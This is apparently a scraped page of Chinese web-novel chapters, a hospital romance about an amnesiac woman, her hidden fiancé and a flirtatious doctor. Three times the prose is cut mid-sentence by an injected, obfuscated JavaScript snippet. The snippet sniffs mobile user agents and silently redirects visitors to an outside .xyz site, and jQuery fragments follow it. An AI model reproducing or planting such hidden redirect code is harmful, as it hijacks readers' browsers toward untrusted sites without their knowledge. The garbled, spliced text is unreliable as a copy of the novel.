【[拜托.jpg][拜托.jpg][拜托.jpg]】 邢葵盯着看,不知道该先点开哪一条,这里没有一条关心她的失联,每一条都写着“要吃她”。 她不是个不懂拒绝的人,她曾经委婉地提过好些次,不要总是来找她“寻求他们根本没想听的建议”。可邢葵不够强硬,以至于这些“根本不听建议”的人,也从来无视她的抗拒。 邢葵深吸一口气,她看新闻,有的人撞伤头脑后会性情大变,她怎么就没性情大变,好想说脏话,但她不会。 下滑列表,还有个人找她借影视会员账号,行吧,就从这条开始回复——妈妈!会员不能自己充吗?一次两次可以,年年都来,她是什么冤种? 邢葵鼻子一酸,一只手握住了她触屏的食指,指节褶皱显眼,她看出是江医生的手,昂头看他。 “好孩子。”好孩子最讨厌了,让他看不过去,江医生戴着口罩,但从胸口的证件照能看见他的真容,是光看照片都能让人心情变好的长相,“从鬼门关回来的人可不能受委屈,删掉他们。” “我也想,可是……” “没有可是。”江玉鸣强硬地抓着邢葵的手,删掉了要会员的朋友,一个邢葵从高中就认识的人。 邢葵瞪大眼,迷惘之后内心涌现畅快,忍不住反抓住江玉鸣的手,有些事开头难,一旦开了口便易接受,江医生,再帮帮她。 她手指冰凉凉,杏眼湿漉漉,江玉鸣微滞,攥紧她的食指,一个一个地删。 厉乘川坐在旁边,不是,这件事他也能做啊?盯着两人拧在一处的手,他手都痒了,好想拽开江玉鸣,换他上,可惜病友的身份不比医生天然让人信任。 他忍,他忍,江玉鸣唯爱超模,江玉鸣唯爱超模! “等等,这个不能删。”邢葵叫停,列表还剩最后一个,“这个和我关系最好。” 对方和她一样在京江市工作,偶尔会约她聚餐,虽然对方只点自己喜欢的菜,一点不在意邢葵,还要她AA。 江玉鸣挑眉,点开此人的聊天页,十六条未读消息,十六条都在埋怨她另一个朋友,过生日送了她几箱卫生巾,她嫌不够贵重。 埋怨不打紧,谁都会有坏情绪,可邢葵这么久没回复,对方一句话也没问。 他不认为这个人是好人,抓着邢葵食指点开输入框:“那我们给她一次机会,告诉她,你出车祸了。” 我们?厉乘川眉毛快拧成麻花,江玉鸣才认识邢葵不到一个小时,和邢葵怎就成“我们”了? 床上,邢葵打完字,忐忑地等待结果,握江玉鸣的手握得更加紧。 床下,厉乘川抬起皮鞋,踩了江玉鸣一脚。 “嘶。” “呃,我掐到你了吗?”邢葵疑惑,她虽然用了力,可她如今没多少力气呀,她微微松手,又倏地收紧,因为收到了朋友的回复。 【???什么!你出车祸了?要不要我来看你啊?】 邢葵眼睛乍然亮起,点开输入框编辑文字:【不用不用,你上班吧,我没多大事……】 话还没发送,对方的第二条消息跳出:【不过你看我跟你说的了没?她好过分,就送我几箱卫生巾,你就不会这样!】 不会这样?不会哪样?邢葵眼里的光瞬灭,对方哪里真在乎她,只说了一句空话,就跟她要起贵价的生日礼物。 另一个朋友送卫生巾的行为很糟糕吗?2027年为女性争取权益的人越来越多,送卫生巾既实用又有意义,不比送大几百块、却几天就会凋谢的花束差。 先前编辑好的文字在眼前一个字一个字地消失,是江玉鸣在控着她删:“她失去你了。” 是她失去你,不是你失去她。 灼热的气息靠近她的耳畔,江玉鸣挪动她的食指:“这种人,我教你怎么回复。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547363|171200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按下“GNI”、“TUV”、“MNO”三键,打出一个字:【滚】 发送、删好友,一气呵成。 “爽不爽?”江玉鸣问她,声音炙热地穿过她的耳窝,身上虽是消毒水气味,可邢葵恍惚闻见了玫瑰酿的酒香。 她耳廓不自觉红了一层,盯着空白的聊天页面,有点难受,但是:“爽。” 江玉鸣垂眸直视着她,口罩下面,舌头轻舔唇齿,邢葵嗓音压得很低,他想起外面人的讨论,她在缝针时哭叫了很久,怪不得有意压低的声音如此软绵无力,还泛着些微的哑。 很好听,是那种勾得人心脏生痒的好听,江玉鸣自认不是好东西,想再听一次,松开邢葵手指,抚摸她的头:“好孩子,不够坚定,再说一遍,爽不爽?” 厉乘川扣住江玉鸣手腕,醋味翻涌的声音飘过来:“你说呢?” 江玉鸣耸耸肩,至少某人不爽,他看出来了。 隔着邢葵,江玉鸣向厉乘川示意:“别想太多。” 他可是从幼儿园迄今,每个阶段都坚定不移地要娶超模啊。 “来,打针了。” 痛!不痛不痛不痛不痛! 这一回,邢葵只揪住了江玉鸣的衣服,看得厉乘川如坐针毡,他没有理由阻止,只能紧紧盯着干等,熬到针打完,他一秒不停地扯走好兄弟衣裳。 他没注意到邢葵看江玉鸣的眼神变化,邢葵现下的大脑就如受损的机器,还能运行但不能多线运行,解决完朋友的事,大脑前一个想的事重新进入流程线。 在登微信前,邢葵在想,毁容女面临的催婚压力会小一些,但是还不够,倘若她能找个人假结婚就好了。 那么问题就成了找合作对象,而找到一个值得信任的男性合作对象,比长辈不催婚的概率还要低。 刚刚江玉鸣的帮助令邢葵很有好感,想到这里,邢葵大脑已然超了负荷,为了梳理思路,她在心里给江玉鸣打起分:相貌,十分;职业,十分;性格,十分;是否单身,存疑……是否男女关系复杂,存疑……是否干净,存疑…… “江医生……” “嗯?”江玉鸣收拾着推车,望过来,眉目冶艳多情,注视着谁,就好似眸里只装了谁,瞧上去真像游戏人间的浪荡子,披着白大褂的斯文败类。 “江医生有女朋友吗?”邢葵小声且小心地询问。 之前她是不好奇江玉鸣干不干净的,简单将他和新闻上的坏医生一杆子打死,无论有病没病,躲肯定没错。现下她有了进一步了解江玉鸣的想法。 问题抛出一瞬间,两个男人都感受到前后差异,江玉鸣勾唇,刚要回答,厉乘川一把按住他的肩。 “他不举。” 邢葵瞳孔地震。 厉乘川控着江玉鸣,弯腰取他的手机,眼神颇显哀怨地盯了她一下,“手机用完了吧,我跟他出去说会儿话,吊瓶里的水快没了叫我们。” 七号病友为什么,像个妻子出轨的怨夫啊? 邢葵视线擦过手机,上边栏晃过消息:相亲相爱好兄弟[40…… 群里有四十个人?! 好家伙,你们兄弟的数量比她的假朋友还多,平时聊天聊得过来吗…… 病房外,楼梯间,大门阖上,江玉鸣靠上门,手插进白大褂口袋:“我不举,我本人怎么不知情?” 厉乘川冷冷地站在一边:“你现在知情了。” 5. 第 5 章 江玉鸣后仰了下脑袋,头抵上背后冰凉的铁门,意味深长地盯着厉乘川笑。 “老厉,这么有危机感啊。” 黄昏的光透过高处窄窗照在他的脸上,赛镀金辉的玫瑰,不可触碰的瑰丽,“行吧,那今天就是我的不举第一日。” 江玉鸣浑不在意地耸肩,反正他又不可能对邢葵举起来,既不超模也不野,乖巧懂事完全踩在他的雷点,“别以为谁都跟你一样拿邢葵当香饽饽。” “那是你眼光差,但你最好一直保持。”在厉乘川眼里,他的未婚妻是全世界最好的。 江玉鸣觉得好笑,时间会证明谁才是真正没眼光的人。 后脑勺的冷令江玉鸣想起邢葵手的冰凉,邢葵这种类型不在他的喜好范畴,但毋庸置疑,她品行冰清玉粹,看着还算顺眼。 “想办法送邢葵一部手机吧,还让她用你的,真闷骚。” 厉乘川编辑着消息,冷戾地睨了眼好兄弟,还用他提醒?他将他的手机从邢葵手中拿走,就是为了吩咐助理。 六点,邢母提着几袋子晚饭回到了病房,架起病床的桌子,在桌子上拆着保温盒。 边拆边止不住地夸赞:“不愧是大酒店,服务真到位!还送保温桶,价格也实惠,葵葵你待会儿尝尝好不好吃,酒店经理说,他们最近在研发病人营养套餐,要是你觉得好吃,我就跟他们订。” 邢葵冲妈妈笑笑,这会儿她疼习惯了,真没之前疼了,还是没食欲,可人是铁饭是钢,她得强迫自个儿吃点。 “这是什么?好评返现卡?”邢葵捏出袋子里一张红金色卡片,“大酒店也搞这些啊?” 邢母笑道:“是抽奖卡,人经理说了,一等奖是最新款的手机呢!” 七号病床,厉乘川用笔记本处理着集团事务,点开右下角微信,给助理发消息。 键盘敲击出四个字:【办得不错。】 万盛酒店,酒店负责人、金牌营养师团队,十数号人正挤在厉乘川的助理左右,守着他的手机。 一看到大老板回复,众人或高兴握拳,或拍胸长舒一口气,太好了太好了,时间紧急,他们在网上下的模板做的抽奖卡,幸好没出岔子。 厉乘川点完发送键,悄悄抬起眼皮关注邢葵,她很乐观地对邢母笑,拆开筷子外包装,然后把抽奖卡和筷子外包装一起扔到了袋子里……扔到了袋子里? 老婆你怎么不刮开啊! 留置针扎在邢葵右手,拿筷子很不方便,她和鸽子肉做着斗争。 邢母打开蒸蛋盅:“你怎么就把卡片扔了?也不试试看。” “没看奖品嘛,一等奖手机,六等奖积分,我保准一刮就是积分,这都是商家为了挣钱的套路,忽悠再次消费。” 厉乘川移动鼠标,点上他方才对助理的肯定,右键撤回。 谁让他们将最低奖设成积分了? 万盛酒店,还没笑多久的助理一众,看见手机上跳出的“‘绝对不能惹的阎罗王’撤回了一条消息”,感觉天塌了。 不是,他们办得没毛病啊?他们还特意在卡片上强调了“百分百中奖”! 怕邢母不信,邢葵又拿出那张抽奖卡,指着上面的字:“你看,‘百分百中奖’,把这种字写这么大,勾人刮奖,必定是对他们不会亏本有信心,想抽中手机?几百万人里一个吧。” 厉乘川:“……” 他蠕了蠕嘴唇,不知该如何加入母女俩的对话,眼看邢葵要把卡重新扔回袋子——“试试看。” 邢葵偏过脸,厉乘川在隔壁床上盯着她,一张俊美的脸让她平白生了一分食欲。 “试一试,万盛规模一般,他们出的抽奖中奖率不会低,大难不死必有后福,也许呢。” 也许呢,中不了手机也能中其他奖,邢葵扫了眼积分上面的奖项,优惠券、印酒店logo的帆布包、多少多少钱的套餐……这些她也不感兴趣。 可厉乘川说得对,几百万人里出车祸的概率都叫她碰上了,为什么她就不能抽中同样低概率的大奖呢?都是一样的概率,凭什么她就只能倒霉不能幸运? 心脏因此怦怦跳动,邢葵移动受伤的手,碰到银灰色的涂层,缓缓刮开。 【一等奖】的金色文字映入眼帘,邢葵怔了一下,随后眼睛发亮:“妈妈!妈妈!一等奖!” 看邢葵激动,厉乘川也为此欢心,偏回脸看笔记本,远离八号床的那边嘴角下压着笑意。 可算将手机送出去了。 母女兴奋了一会儿,邢母给酒店经理打电话确认。 经理:“真的吗?哇,邢女士,您太幸运了,恭喜您抽中大奖!这样,明早我将奖品给您送到医院,顺便赠您一份早餐。” 邢葵觉得不太真实,拿着抽奖卡看了又看。 邢母一点不疑,发现酒店打包袋中多给了一双筷子,招呼厉乘川:“你还没吃晚饭呢吧?要不要跟我们一起?” 厉乘川刚要答应,邢葵翻着卡片道:“别了,他洁癖。” 一句话,让邢母和厉乘川都尴尬了。 完了,他在丈母娘那里的印象…… 到了晚上,丈母娘也在厉乘川这里扣了分,邢母睡觉会打呼噜,震天响。 厉乘川睡不着,邢葵也睡不着,一个翻身,两人对视。 二月的窗外飘着琼白雪絮,房门高处的小窗偷来走廊上暖黄色的灯光,还别说,这个对视挺有氛围感,如果邢葵头上、身上不疼的话。 按目前拍的片子来看,邢葵暂时没有骨折,不幸中的万幸,她是在冬天出的车祸,衣服穿得多,尤其外套是高密编织的冲锋衣。 不过也存在当天查不出骨折、后来发现骨折的案例,她的腿和手臂当下都移动困难,江玉鸣说,最好等过几天等软组织挫伤好些,再拍个核磁共振进一步检查。 最严重的伤还是头,一是额头的划伤,伤口极深,缝了十二针;二是头内部的损伤,有一定的颅内出血和脑震荡。 邢葵的大脑又疼又倦,可邢母的呼噜声太吵了,妈妈为她奔走了几个小时,妈妈也累了,她不能没良心地叫醒妈妈。 和厉乘川对视,邢葵歉意地扯扯嘴角,对不起啊。 病友却下了床。邢葵望向他那双很长的腿,黑色的拖鞋套住他的脚,接着向她靠近,欸? 厉乘川折下膝盖,半跪到她的床边,温热的手掌盖住她的耳朵,压下呼噜的分贝:“睡吧。” 睡吧,然后明天一定要醒过来。 邢葵愣愣地望着他,两只手臂狭窄了她的视线,让她仿佛在全世界只能看见厉乘川,很温暖,她想,果然没感觉错,和他对视真的蛮有氛围感。 欸欸,邢葵,不许再乱想了,人家一片好心,岂容你随便歪歪,睡觉,睡觉。 意识浑浑噩噩跌进她的故事,邢葵家境普通,父母都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547364|171200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厂子里的工人,她学生时代努力念书,毕业之后努力工作,二十多年老实本分,结果一场车祸差点将她撞死。 人生无常,她见识到了,今天江医生帮她删了吸取她多年能量的朋友们,她觉得很爽,以前很多事她想做没有做,以后她都想试着做。 今天抽奖也很幸运,菩萨保佑,希望日后她会遇到很多很多好人,最好多来几个江玉鸣厉乘川这种等级的大帅哥,还没睡过大帅哥,嘿嘿。 咦,菩萨接这种许愿吗? 睡梦中的邢葵眉头拧了起来,转瞬又翘起嘴角,不管啦,先许了再说。 厉乘川跪在邢葵床边,不知道她做了什么梦,怎么就开心了,不过没关系,是美梦就好,哪怕她要去太空旅行,他都能帮她实现。 月渐渐落下,屋外尚未大亮,雪依然下着,苍茫在昏蓝色天幕下蔓延,陌生的护士推门进来,叫醒邢葵,要抽她的血。 她在迷迷糊糊中瞅见细针,吓了一跳,后知后觉意识到是要测血常规,揪住被子忍痛,望了眼隔壁床,怎么他不用测啊? 后来又有护士来量血压,怎么隔壁床又不用测啊? 在邢母的搀扶下,邢葵准备好尿检的管子,从卫生间出来,不是,怎么什么检查都没隔壁床的份? 走过七号床,邢葵忍不住,扭头:“那个……算了。”可能病和病之间不同吧。 太阳彻底升起,下过雪的天空一片清新的白色,辉德医院外的公路上,一辆外观平平无奇的灰色汽车正在行驶中。 车主是辉德医院的人气王,被冠以“病人杀手”称号的骨科医生江玉鸣。他坐在平凡汽车里,单凭样貌,让车内平增数分奢华。 他戴着耳机,架在台子上的手机显示他在语音通话。 “江哥,厉哥一点都不理我,被未婚妻甩了,你说他会不会在家里消沉醉酒?长了胡子都没劲刮,颓废,痛苦,桌面清理大师。” “……你厉哥爱干净,他在忙,没空看群。” “我懂了,他在化悲愤为工作动力,挣他十个亿!哎,我机票已经买好了啊,等我回国,一定要狠狠教训那个抛弃他的女人。” 江玉鸣转动方向盘,现如今只有他一个人清楚,神秘的未婚妻不曾伤害厉乘川,她只是失忆了。 通话中的话痨男真情实感地在为厉乘川不平:“真是气死我了,厉哥三十几了,老房子好不容易着一次火,谁狠心呲溜一下给他灭了。” 江玉鸣驾驶着车进入停车场,轻挑了挑眉梢:“或许你能狠心。” “?我说那个未婚妻呢!” 是啊,厉乘川的未婚妻,完全会是这个兄弟的理想型。 “别跟我开玩笑了江哥,我跟厉哥,铁杆兄弟,厉哥要是喜欢我喜欢的女人,我铁定拱手相让,哇噻,这兄弟情,说得我都感动了,我再说一遍,录个音。” 江玉鸣停下车,关上车门,漫不经心地等待手机那头的人讲完,挂掉电话笑笑。 他无意解释真相,一来,这是厉乘川的私事;二来,他爱当看戏的旁观者;三来,他清空了邢葵的朋友列表,送她一些新的又何妨。 几名来探病的家属从江玉鸣旁边走过,手里拎着牛奶,江玉鸣顿了顿,伸手重新打开车门,上车,将车开出停车场。 保安瞅见:“江医生,你这才来咋就出去?” 江玉鸣笑眯眯:“去给好孩子买箱牛奶。” 6. 第 6 章 邢葵喝着菠菜瘦肉粥,鬼鬼祟祟地偷看病房内场景,腿边放着崭新的手机盒。 很不对劲,来送手机的酒店经理为何对她妈妈点头哈腰,一副谄媚样儿? 难道,她妈妈其实是隐藏的大佬? 从小到大吃的苦闪过邢葵脑海,一个穷养望女成凤的故事在脑中闪亮成型,是的是的,每周雷打不动去跳广场舞的妈妈,实际上是发胶一喷、珍珠项链一戴,去公司开大会了! “葵葵,我跟你说话呢!” “啊?”邢母的手在邢葵眼前晃过,发红、粗糙、冻疮,这不是一双富人的手,“怎么了妈妈,我刚走神了。” 没人会苛责一个脑子受伤的人,邢母耐心地重复:“我问你要不要订酒店的餐。” 万盛的东西挺好吃的,无论是昨天的鸽子汤蒸蛋,还是今天的早餐,邢葵喝了口粥,寻思,经理嘘寒问暖,原来是要挣她钱。 邢母偏向同意:“一周早中晚三餐,五百块,稍微有点贵,但他们能送餐,我马上就要走了,照顾不到你。” 这还嫌贵啊,经理惊恐地擦了擦冷汗,不敢看七号床的大老板,殷勤地把提着的一箱纯牛奶放到邢葵床头柜上:“我们服务一流的,有想吃的甚至能订做。” 邢葵在京江市工作,但她老家不在这里,邢母要回老家上班,两地相距四个小时大巴车程,邢母来回不便,接下来几天都不会来了。 “行。”邢葵忽略心里失落,冲妈妈笑笑,又冲经理笑笑,“麻烦你了,那你跟我加个微信。” 加微信? 厉乘川扫过来,他都没能加上未婚妻微信,趁邢葵拆手机盒激活新手机,他靠着床,联系助理。 经理的手机响了响,拿出一看,是大老板的助理:【想办法让厉总也加一加!】 什么?厉总追老婆连老婆微信都没加上? 【奖金一万。】 厉总您等好嘞!“厉——你需不需要订餐?”经理尽量不让膝盖弯下,万盛不过是鼎天集团下面的一个小产业,他做梦也没想过会有见到大老板的机会,“万盛刚研发的营养餐系列,最近有优惠,你要订的话,咱们也加个微信。” 闻言,邢葵偏过脸,又看向经理带过来的包子,用一次性手套包着拿起来一个:“要不你先尝尝?” 心上人一发话,厉乘川立刻挪动大长腿下了床,接过包子咬了一口,耳朵发热,没尝出滋味,满脑子只有“这可是邢葵亲自递给他的”:“嗯,我也订吧。” 经理果断加上他们,然后三个人拉了个群:“有想吃的你俩群里说声,那我就先告退了。” 在一个群里,四舍五入等于两人加上了,厉总,小的只能做到这里了!等您奖金哦! 邢葵喝着粥,点开群成员列表,她的微信头像是一棵向日葵,厉乘川的微信头像……居然是系统默认初始头。 灰色的人形图贴在金色向日葵旁边,形成鲜明对比。 厉乘川坐在床边抱着手机如坐针毡,仅是在同一个群并不能满足他,他的指腹徘徊在“添加到通讯录”按钮,移来移去。 想加邢葵,但会唐突。 也罢,先这样吧,已经比之前离邢葵近了,要知道,他之前只配出现在邢葵的工作微信里。 “你要不要喝牛奶?”不清楚厉乘川心思的邢葵望过来,“你都没吃早饭,一个包子会不会不够……妈妈帮我拆一下牛奶箱子,拿一瓶给他。” 咔哒一声,病房门打开,一群来查房的医生鱼贯而入,队伍后面慢悠悠坠着江玉鸣。 一大早看到两个帅哥,邢葵眼睛很舒服,江玉鸣手里也提着一箱牛奶,和经理带来的是同一款,她看得一怔。 江玉鸣脚步微缓,轻扫邢葵床头,不爱和旁人做一样的事,走向厉乘川,散漫地将他来的牛奶放到他洁癖的好兄弟旁边:“别人送的,老厉,请你喝。” 厉乘川嫌弃地径直跳下床,拍拍裤子,生怕被溅到灰尘。 噢,原来是送兄弟的,还以为送她的,邢葵,你又瞎想。她回应起查房医生的询问。 “今天头疼得怎么样?吃得下去吗?” “还疼,好一些了,吃得下。” …… “还记得车祸发生前的事情吗?” “不记得了。” “嗯,这是正常的啊,很多人都会忘,不用太担心。” 在医生眼里,失忆不算大事;在邢葵眼里,她也只是忘了车祸是怎么发生的。 查房医生走后,邢母接起电话,从昨天到现在,七大姑八大姨都打电话来问候。 手机音量开得大,房里的人都能听见,用的方言,有些用词厉乘川和江玉鸣听得糊涂,但大体能听懂,无外乎“伤在哪里”、“是谁的责任”这种话。 邢母打完:“看到没,大家多关心你,过年让你说个吉祥话都困难。” 不久前正是春节,邢母在提那个时候的不愉快。邢葵因为没说吉祥话被埋怨了很久没礼貌。 她拉拉嘴角,她哪有不肯说,她还没开口就被那些一年就见一面的亲戚催婚,如鲠在喉,怎么说啊。 厉乘川拧了拧眉,不接受任何人批评未婚妻,即便是丈母娘也不行,踢了一脚江玉鸣:你去唱黑脸。 江玉鸣头顶冒问号。 厉乘川又踢了他一脚,那是他未来的丈母娘,他还得刷好感,是兄弟就去。 行行行,反正邢母又不会是他的丈母娘,江玉鸣动了下唇:“有多关心?打听而已。” 不是因为厉乘川,江玉鸣自己也想说。他都能猜到,电话一挂断,打电话的人立马就会拉住左右邻居闲聊。 可能是有担心,可口头上的担心带不来任何帮助,口头上的谈论却会成为造成二次伤害的利剑。 江玉鸣在医院看到的这种事太多了,有人经过多次手术艰难地活下来,最后却因为他人的议论走上绝路。 向日葵枯萎可就不好看了,江玉鸣走到邢葵身边,俯身,摸摸她的头,“好孩子,别听你妈的,她书读少了。” 邢母:“?” 厉乘川:“……”丈母娘,可不是我这么说你的啊。 江玉鸣无所谓,还是那句话,邢母又不会是他的丈母娘,得罪就得罪了。 摸头的手很温暖,邢葵亮着星星眼看江玉鸣,越发觉得江医生适合做契约结婚的对象,她妈妈不会喜欢他,熬个几年离婚顺理成章! 邢母自讨没趣,换了话题,操心起住院费用。 “没关系的吧,妈妈,你不是说是对方闯红灯?应该能全赔?包括我吃饭用的钱……” “是,是对方闯红灯。”邢母心存顾虑地颦眉,“可那人连医院都不来,医药费也不垫,我怕他耍无赖。” 江玉鸣没怎么听邢母讲话,坐到邢葵床旁边,扫过早餐袋上万盛酒店的标志,车祸他见得多,肇事者不来探望不垫付费用,不道德但不违法。 “我有个认识的律师。”厉乘川望了眼江玉鸣,好兄弟刚在邢母那儿留下坏印象,这会儿他正向表现,定能加不少分,“需要的话,介绍给你们。” 你疯了?江玉鸣睨向他,不会是他想的那个人吧? 南州, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547365|171200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熙京国际机场。 一架飞机驶过蔚蓝的天空,一群记者背着相机冲向出站口,话筒上是各大新闻平台的图标,几名魁梧黑西服的保镖护着一人走出。 “周律!周律!针对本次纭升国际总经理跨国受贿案,据闻涉案金额高达十五亿,牵涉人员复杂,您是如何找到关键证据扭转劣势的?” “您是否觉得,本案胜诉会在国际金融圈敲响警钟?” “恭贺周律大获全胜!” 被话筒围追的是一个年轻男人,推着行李箱,相貌顶级,眼窝深邃,穿着深灰色复古格纹大衣,佩戴金丝眼镜,像一名来自中世纪的绅士。 “谁啊?明星吗?出了这么帅的明星我能不知道?” “拍照搜搜。” 还真叫路人搜出了结果。 周镜,天才律师,世界前三律师事务所“Ley&Corazón”合伙人,毕业于清北大学,现年三十岁,爷爷是大法官,母亲从政,家族世代与政法相系。 大众不认识周镜,但周镜在特定圈子可谓赫赫有名,刚打赢一场国际大案,各家记者都想要第一手新闻。 记者围堵中,周镜抬起手腕,睨了眼腕上金灰色的表:“谢谢,无可奉告。” 温和但寡言,在人群中,却和人群极有距离感。 手机振动,周镜接起电话。 “喂,周哥!厉哥被女人甩了,现在正在化悲愤为搞钱动力,我要去教训那个女人!你回南州了吗?” “嗯。” 辉德医院病房,江玉鸣走了,邢母下午也走了,坐在床上的邢葵琢磨着人生,等江玉鸣再过来。 车祸减轻了她面临的催婚压力,但是她差点死了,不是催婚的人死了,她需得尽快振作,找合作对象,江玉鸣非常合适。 就是有一个问题,江玉鸣是真不举还是假不举?邢葵希望是真的,这样不用担忧对方在合作期间乱搞染病。 这种事不便直接问,邢葵喝了口水,小心翼翼地看向隔壁,病友正在敲击键盘,好似在忙工作。 病友和江玉鸣是朋友,他或许知悉真假? 病友抬眸看她,邢葵:“!” “有事?”厉乘川尽力不让他显得和邢葵太熟悉,板着脸,结果,他严肃的表情让邢葵心脏剧烈一紧。 好阔怕,果然很总裁。邢葵拍拍胸脯给自己打气,为了美好的未来,准备向江玉鸣的朋友旁敲侧击打听虚实。 欸?旁敲侧击?她当前的脑子哪做得来那玩意儿!“那个,江医生真的有功能障碍吗?” 厉乘川一顿,指腹落上键盘k键,一排一排的k在屏幕列队。 邢葵耳朵烫成了煮熟的红柿子,怎么了嘛,为什么不回答,她已经很委婉了!最开始说江玉鸣不举的不是你嘛! 要不她再委婉点吧,邢葵再接再厉,“我是说,就是,那方面当真不行吗?” k继续在屏幕列队。 邢葵加油,“就,那方面。” 咔哒,话题正主江玉鸣从门外进来,来给邢葵送核磁共振预约单,看到两张床上的人齐齐看向他,歪了下艳丽的美人脸,纵使戴着口罩也能看出是美人脸。 厉乘川抬起按在k键上的手指,按上o键:“你,出去。” 他是不是就凭着这张脸勾引了他的未婚妻!为何邢葵会好奇他好兄弟的那方面! “别出去。”邢葵无辜,都不明白发生了什么,“江医生,你来得正好。”正好你的兄弟不肯回答我,我还是问你吧,“我能和你加个微信吗?” 厉乘川:“?”不许! 7. 第 7 章 厉乘川:急,如何加上邢葵微信? 邢葵:急,如何加上江玉鸣微信? 烦!烦!烦!一连好几天,隔壁某个姓厉的病友都阻止她加江医生微信,她就不明白了,关他什么事儿啊?就算他俩是朋友,也不能管这么多吧! 又一次,厉乘川严肃表示:“医生和病人私联是违规行为,违背了……”吧啦吧啦吧啦。 不想听,邢葵生气了,揪起眉头:“别太过分了,厉乘川。” 这还是她第一次连名带姓地叫他,三个字从她的嗓子里滑出来,好听得让厉乘川耳窝发痒。 江玉鸣被厉乘川拦在背后,始终笑盈盈的,秾艳的眸子快眯成一条缝。 “还有你!别笑了!笑面虎!” 嗯嗯,随便骂,好孩子即使生气也没有任何威慑力,反倒可爱得要死。 气鼓鼓的,很急,又骂不出脏话。 江玉鸣笑意深深,甚至愿意再被邢葵凶一会儿,但是很显然,某些人不愿意和他分享邢葵的这种凶。 厉乘川面色冷峻:“医生和患者微信私联,不符规矩。” 邢葵知道他说得对:“那我可以先加,等我出院,不是病人了再和他联系嘛。” 厉乘川一噎:“你这是钻规则漏洞。” 邢葵:“那咋了?” 她挺守规矩,但她不是死守规矩的人啊!邢葵气恼地靠上床头,撇过脸,自闭了。 妈妈我跟你说,今儿没能让你招到女婿都是厉乘川害的! 江玉鸣手抄在白大褂口袋里,指尖抚摸着冷硬的手机外壳,觉得挡在他身前的厉乘川多少有些碍眼。 连个好友都限制邢葵加,结识厉乘川多年,江玉鸣头一回感觉,好兄弟不适合做结婚对象,管得未免太多,难怪邢葵会忘记他。 厉乘川:呵呵。 那是江玉鸣不清楚邢葵加他想干什么,厉乘川不用想都知道,邢葵一定是要试探江玉鸣是否真不举,至于她为什么想探这个,是不是看上江玉鸣了…… 厉乘川不敢深思,他怕忍不住揍兄弟。 邢葵撇过脸,只用半张缺少血色的脸对着他们,厉乘川心里难受,她本就对他存戒备之心,相处了几日才刚放心一些,这下恐怕又回到了解放前。 “可以加。” 邢葵黑溜溜的眼珠盯着吊瓶滴液,闻言一愕地瞥向厉乘川,他神色中透着无奈,拿了一瓶牛奶,弯腰,放到她手里。 他做了妥协,“我将他也拉进群里,可以了吧。” 一双黑色锋利的眸子,装着她,竟露出几缕柔软,妈妈,我眼花啦? 可是,加群有啥用!她难道能无视群里的厉乘川、无视群里的万盛酒店经理,@江玉鸣直白问他:“嘿,江医生,能举不能举”吗? 欸不对?在同一个群里,她完全能绕过厉乘川,悄悄地加江玉鸣……说干就干,邢葵点开群里进来的新人,头像为“玫瑰花丛”,昵称为“明天没有手术”,发送好友申请。 下一秒,厉乘川的声音从边上飘过来:“当我看不见?”他取过江玉鸣的手机,无情地将方才收到的申请删除。 “……”她招他惹他了! 他是不是觉得她要追江玉鸣啊?江玉鸣是他朋友,他是不是觉得她配不上他啊? 卫生间里,洗手台前,邢葵颤巍巍洗了洗脸,一双腿艰难地站立着,因着腿伤,即使站着洗把脸都很痛。 水流从同样伤痕累累的手上落下,邢葵按住洗手台边,不敢抬头看镜子里的自己。 她毁了容,她知道。 总蒙着纱布不益于伤口恢复,几日前医生就替她拆掉了纱布,她一照镜子,想必就能看到伤,别人看她,想必第一眼也能看到伤。 是……很丑吗?所以厉乘川才那么阻止她…… 邢葵颤了颤眼睫,水珠也跟着在睫毛上颤动,她试图抬起眼皮,看一看此时的自己,但恐惧就像千斤坠,压在她的上眼皮,她抬不起来。 咚咚,卫生间的门被敲响:“邢葵,我有事要出去一趟,晚些时候回来,有事在群里联系我。” 是厉乘川,邢葵缓气,得救了,她才不要看自己的伤找虐!这伤又不会留在她脸上一辈子!她能嫌弃自己,那是她对自己要求高,别人嫌弃她,那是别人素质低。 厉乘川要走?邢葵一喜:“哦,知道了!” 她停了停,“注意安全啊,你脑子不是也有病吗?碰上事记得打110、120。” 房门外,厉乘川薄唇抿出一抹笑,看了眼手机时间,邢葵待在卫生间的时间比以往长了些,他担心,她独自一人对着镜子会想太多。 听她语气,他应该是成功打断了她的乱想,厉乘川稍稍放心,打开屋门离开,他确实有事要办。 门阖上不久,竖着耳朵的邢葵打开洗手间门,瞅瞅屋门,咧开嘴笑,苍天呐,终于,他终于不在了! 